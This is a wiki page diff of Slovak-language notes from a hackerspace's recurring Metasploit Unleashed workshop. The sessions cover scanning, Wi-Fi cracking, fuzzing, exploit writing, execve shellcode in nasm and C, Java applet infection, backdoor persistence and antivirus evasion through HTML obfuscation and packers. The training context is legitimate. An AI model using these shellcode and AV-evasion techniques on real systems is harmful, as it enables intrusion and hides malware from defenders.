event:metasploit_unleashed_workshop
Differences
This shows you the differences between two versions of the page.
Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
event:metasploit_unleashed_workshop [2012/01/30 10:34] – poznámky z workshopu zombie | event:metasploit_unleashed_workshop [2016/12/07 22:08] (current) – external edit 127.0.0.1 | ||
---|---|---|---|
Line 1: | Line 1: | ||
+ | ~~NOTOC~~ | ||
+ | ====== Metasploit Unleashed Workshop ====== | ||
+ | |||
+ | {{template> | ||
+ | name=Metasploit Unleashed Workshop| | ||
+ | image=: | ||
+ | organizer=[[user: | ||
+ | datetime=Raz za mesiac \\ vo štvrtok \\ (nie prvého) \\ o 20:00| | ||
+ | place=brmlab| | ||
+ | stream=[[stream]]}} | ||
+ | |||
+ | ==== Aktuálny stav (6/2012) ==== | ||
+ | |||
+ | Metasploit Unleashed workshop pokračuje. Chcem sa spýtať, o aké témy | ||
+ | bude záujem (viď nižšie)? | ||
+ | |||
+ | Ďalšia vec je, že by sa workshop nekonal každý týždeň, ale menej často | ||
+ | (napríklad 1x za mesiac) vo štvrtok. Záleží na dohode... | ||
+ | |||
+ | |||
+ | ==== Správa o štarte pravidelného workshopu (10/2011) ==== | ||
+ | |||
+ | Rád by som urobil v brmlabe Metasploit Unleashed workshop. Bol by | ||
+ | pravidelne raz za týždeň, prešlo by sa postupne od úplných základov, | ||
+ | cez písanie exploitu, až k featurám metasploitu, | ||
+ | meterpreteru. Po skončení organizovaných stretnutí dúfam, že zostane | ||
+ | hŕstka ľudí pracovať na hľadaní dier a písaní exploitov. | ||
+ | |||
+ | Nemá to byť prednáška pri tabuli, ale skúšanie príkladov naživo (jeden | ||
+ | na projektor a inak každý sám na svojom počítači). Predpokladom je | ||
+ | nainštalovaný Virtualbox alebo VMWare (od VMWare sú zdarma verzie | ||
+ | Player a Server). Musia byť funkčné (to je upozornenie pre tých, čo | ||
+ | majú nejak upravený kernel). | ||
+ | |||
+ | Prvý týždeň sa budú preberať základy (používanie msfconsole, rozdiely | ||
+ | medzi payloadami, použitie existujúceho exploitu voči Windows XP SP2, | ||
+ | úplne základné použitie meterpreteru). | ||
+ | |||
+ | Komu sa bude páčiť workshop alebo materiál Metasploit Unleashed, nech | ||
+ | zváži dobrovoľný dar pre [[http:// | ||
+ | |||
+ | |||
+ | ===== Video ===== | ||
+ | |||
+ | ==== Stream ==== | ||
+ | |||
+ | * https:// | ||
+ | |||
+ | ==== Záznam ==== | ||
+ | |||
+ | * http:// | ||
+ | * na serveri data (nat.brmlab.cz) v / | ||
+ | * pri nahrávaní na serveri brmvid v / | ||
+ | |||
+ | ===== Čo je potreba mať nainštalované ===== | ||
+ | |||
+ | Virtuálne mašiny k dispozícii na serveri data (nat.brmlab.cz), | ||
+ | |||
+ | * BackTrack r1 VM (32-bit): / | ||
+ | * pre VMWare | ||
+ | * pre VirtualBox (ten istý image; použíje sa cez Machine-> | ||
+ | * hlavne kvôli metasploitu | ||
+ | * Windows XP Pro SP2 (bez patchov, povypínané firewally a varovania) | ||
+ | * pre VMWare | ||
+ | * pre VirtualBox | ||
+ | * ako cieľová mašina na útočenie | ||
+ | |||
+ | Je možné púšťať metasploit inak, ako z BackTracku. Je ale potreba mať ruby a aby fungovalo spojenie s databázou (viď db_* príkazy), nakonfigurovať postgresql/ | ||
+ | |||
+ | < | ||
+ | $ svn co https:// | ||
+ | </ | ||
+ | |||
+ | Človek môže mať nainštalované nejaké vlastné Windows (taký človek sa aspoň nebude nudiť, lebo mu možno nebude fungovať všetko tak bez problémov, ako ostatným, ktorí majú rovnakú mašinu). | ||
+ | |||
+ | |||
+ | ===== Materiály ===== | ||
+ | |||
+ | http:// | ||
+ | |||
+ | http:// | ||
+ | |||
+ | ===== 1. týždeň ===== | ||
+ | |||
+ | * msfconsole | ||
+ | * msfcli | ||
+ | * moduly | ||
+ | * meterpreter | ||
+ | |||
+ | ===== 2. týždeň ===== | ||
+ | |||
+ | Téma: identifikácia služieb v sieti, scanovanie | ||
+ | |||
+ | * db_* | ||
+ | * nmap | ||
+ | * auxiliary/ | ||
+ | * snmp | ||
+ | * psnuffle | ||
+ | * idle scanning | ||
+ | * [[http:// | ||
+ | |||
+ | ===== 3. týždeň (2011-11-10) ===== | ||
+ | |||
+ | Téma: hľadanie zraniteľností (Nessus/ | ||
+ | |||
+ | * OpenVAS 0 výsledkov | ||
+ | * Nessus sme konfigurovali a získali výsledky; db_autopwn zlyhalo | ||
+ | |||
+ | ===== 4. týždeň (2011-11-17) ===== | ||
+ | |||
+ | Téma: Wi-Fi | ||
+ | |||
+ | Je k tomu treba mať kartu, ktorá vie packet injection a balík aircrack-ng. Utility bežiace pod vmware-om vedia použiť wi-fi karty, ktoré sa pripájajú cez USB. | ||
+ | |||
+ | Či funguje packet injection, sa rozozná príkazom aireplay-ng --test; vo výstupe musí byť nenulové percento odpovedí (tj. 0% u každého AP znamená, že niečo nie je v poriadku). | ||
+ | |||
+ | Dúfam, že sa stihneme dostať aj ku karmetasploitu. K tomu je potreba metasploit s databázou. | ||
+ | |||
+ | Čo sme nakoniec robili: | ||
+ | |||
+ | * crack WEP | ||
+ | * crack WPA-PSK (slovníkovým útokom) | ||
+ | * aircrack poslúžil lepšie než cowpatty | ||
+ | * crackoval pcap dump, o ktorom cowpatty tvrdil, že v ňom nie je celý handshake | ||
+ | * berie štandardný vstup, ide potom napr. filtrovať zo slovníka dostatočne dlhé heslá na PSK: | ||
+ | |||
+ | < | ||
+ | grep -E ' | ||
+ | </ | ||
+ | |||
+ | * karmetasploit | ||
+ | * podľa materiálov | ||
+ | * db_connect treba z karma.rc vymazať; lebo s nesprávnym heslom iba spôsobí odpojenie | ||
+ | * browser-autopwn nakoniec nehackol naše testovacie Windows | ||
+ | |||
+ | |||
+ | |||
+ | ===== 5. týždeň (2011-11-24) ===== | ||
+ | |||
+ | Téma: Fuzzing | ||
+ | |||
+ | * fuzzovanie pomocou metasploitu..? | ||
+ | * HotFuzz | ||
+ | * download | ||
+ | * buďto lokálne z data:/ | ||
+ | * alebo z projektovej stránky http:// | ||
+ | * inštalácia (ideálne do VMWare Windows XP, ktoré už všetci máme; pozor, VirtualBox verzia má po inštalácii už iba 200MB voľného miesta, to je obmedzujúce pre doinštalovanie ďalších aplikácií, | ||
+ | * všetko iba odklikať (v každom jednotlivom inštalátore, | ||
+ | * BIND si pred inštaláciou vypýta heslo, stačí vyplniť ľubovoľné a spustiť inštaláciu BINDu | ||
+ | |||
+ | ===== 6. týždeň (2011-12-08) ===== | ||
+ | |||
+ | (po Lightning talkoch) | ||
+ | |||
+ | Téma: Fuzzing skutočný workshop...? | ||
+ | |||
+ | ...každý si bude fuzzovať aplikáciu, ktorú chce? | ||
+ | * [[project: | ||
+ | |||
+ | ===== 7. týždeň (2011-12-15) ===== | ||
+ | |||
+ | Téma: Exploity | ||
+ | |||
+ | * Immunity debugger | ||
+ | * exploit na CesarFTP | ||
+ | * išlo to veľmi pomaly; na ďalšom workshope to zopakujeme rýchlejšie | ||
+ | |||
+ | ===== 8. týždeň (2011-12-22) ===== | ||
+ | |||
+ | * nekonal sa, podobne niekoľko ďalších | ||
+ | |||
+ | ===== Shellkódy (2012-01-19) ===== | ||
+ | |||
+ | Téma: Shellkód, jeho stavba | ||
+ | * http:// | ||
+ | * AT&T syntax MOV priraďuje do argumentu vpravo, Intel syntax do ľavého. | ||
+ | * užitočné príkazy gdb po spustení gdb fungujeshellkod: | ||
+ | |||
+ | |||
+ | start | ||
+ | n | ||
+ | info registers | ||
+ | set $eip = shellkod | ||
+ | display/3i $eip | ||
+ | ni | ||
+ | set disassembly-flavor intel | ||
+ | x/30i shellkod | ||
+ | |||
+ | |||
+ | * v shellkod1.c (a všetkom, čo z neho vychádzalo, | ||
+ | |||
+ | < | ||
+ | xorl %eax, %eax /* vyrob nulu */ ; \ | ||
+ | movl %eax, %edx /* 3. parametr execve (*envp := NULL) */ ; \ | ||
+ | </ | ||
+ | |||
+ | |||
+ | * Segmentation fault sme narozdiel od textu riešili touto zmenou: | ||
+ | |||
+ | < | ||
+ | #include < | ||
+ | |||
+ | mprotect( (void*) ((unsigned) shellkod & 0xffffe000), | ||
+ | </ | ||
+ | |||
+ | * celá verzia shellkod1 napísaná pre nasm: | ||
+ | |||
+ | < | ||
+ | [bits 32] | ||
+ | jmp finta | ||
+ | shellkod: | ||
+ | pop esi | ||
+ | mov DWORD [esi+0x8], | ||
+ | xor eax,eax | ||
+ | mov edx,eax | ||
+ | mov DWORD [esi+0xc], | ||
+ | mov BYTE [esi+0x7], | ||
+ | mov al,0xb | ||
+ | mov ebx,esi | ||
+ | lea ecx, | ||
+ | int 0x80 | ||
+ | xor ebx,ebx | ||
+ | xor eax,eax | ||
+ | inc eax | ||
+ | int 0x80 | ||
+ | finta: | ||
+ | call | ||
+ | db "/ | ||
+ | |||
+ | </ | ||
+ | |||
+ | * kompilácia a rýchlejší prevod na reťazec: | ||
+ | |||
+ | nasm asmintel.asm | ||
+ | / | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | |||
+ | |||
+ | |||
+ | * výsledný fungujeshellkod.c volá priamo funkciu (ret + 2 nefungovalo) | ||
+ | |||
+ | < | ||
+ | #include < | ||
+ | #include < | ||
+ | |||
+ | char * shellkod = | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | ; | ||
+ | |||
+ | int main() { | ||
+ | mprotect( (void*) ((unsigned) shellkod & 0xffffe000), | ||
+ | void(*f)(void) = shellkod; | ||
+ | f(); | ||
+ | return 0; | ||
+ | } | ||
+ | |||
+ | </ | ||
+ | |||
+ | ===== Java applet infection (2012-01-26) ===== | ||
+ | |||
+ | Oproti oficiálnemu materiálu sme urobili tieto zmeny: | ||
+ | |||
+ | - opraviť vo VBScripte chýbajúci backslash pri >> C: | ||
+ | - výsledné HTML kvôli antivíru obfuskovať nasledovne: | ||
+ | |||
+ | < | ||
+ | <body bgcolor=" | ||
+ | <div id=" | ||
+ | < | ||
+ | var div = document.getElementById(' | ||
+ | div.innerHTML = | ||
+ | // sem vložiť pôvodný obsah zakódovaný | ||
+ | // cez String.fromCharCode(), | ||
+ | // napr. pomocou HackBaru | ||
+ | ; | ||
+ | </ | ||
+ | </ | ||
+ | </ | ||
+ | </ | ||
+ | |||
+ | ===== Encoding/ | ||
+ | |||
+ | Na minulom workshope sme si ukázali, ako pomocou Java appletu ovládnuť Windows mašinu. Ukázali sme si, ako si udržať prístup pomocou backdooru. V prípade, že je nainštalovaný antivírus (v našom prípade AVG), obsah útočnej stránky je zablokovaný. To sa nám podarilo obísť zakódovaním HTML stránky. | ||
+ | |||
+ | Antivírus ale naďalej detekuje hrozbu v ukladanom .exe súbore. Na ďalšom workshope si ukážeme, ako ho upraviť za účelom obídenia tejto detekcie. | ||
+ | |||
+ | Treba mať nainštalované: | ||
+ | |||
+ | Materiály: | ||
+ | |||
+ | * https:// | ||
+ | * http:// | ||
+ | |||
+ | Na workshope vznikol problém -- OllyDBG nám zobrazoval iný entry point, ako LordPE. Je to vlastnosť: nový OllyDBG 2.01 rozoznáva packer a analyzuje ho. Dá sa to vypnúť v Options-> | ||
+ | |||
+ | |||
+ | ===== A co dál? ===== | ||
+ | |||
+ | ==== Príspevky ==== | ||
+ | |||
+ | O aké témy je záujem? | ||
+ | |||
+ | Kto by si mohol prípadne pripraviť nejakú tému (z Metasploit | ||
+ | Unleashed alebo im príbuznú)? | ||
+ | |||
+ | * encoding/ | ||
+ | * ako packer umiestniť, aby sa nemusel meniť Origin-Entry Point | ||
+ | * format string vulnerabilities | ||
+ | * return-to-libc exploiting | ||
+ | * SafeSEH exploiting | ||
+ | * file format vulnerabilities | ||
+ | |||
+ | * https:// | ||
+ | * https:// | ||
+ | * [[http:// | ||
+ | * http:// | ||
+ | |||
+ | ==== Úlohy ==== | ||
+ | |||
+ | Hodilo by sa vyriešiť nasledujúce problémy: | ||
+ | |||
+ | - meterpreter persistence skript (ktorý inštaluje backdoor) nekontroluje, | ||
+ | * ak sa pripája na handler, ktorý spúšťa persistence, | ||
+ | * ak sa pripája na inú adresu, hrozí, že užívateľ musí do personal firewallu dve spojenia miesto jedného | ||
+ | - jobs -v nezobrazí dosť podrobné informácie (ako hodnoty AutoRunScript), | ||
+ | |||
+ | ==== Links ==== | ||
+ | |||
+ | * http:// | ||
+ | |||
+ | {{tag> |
event/metasploit_unleashed_workshop.txt · Last modified: 2016/12/07 22:08 by 127.0.0.1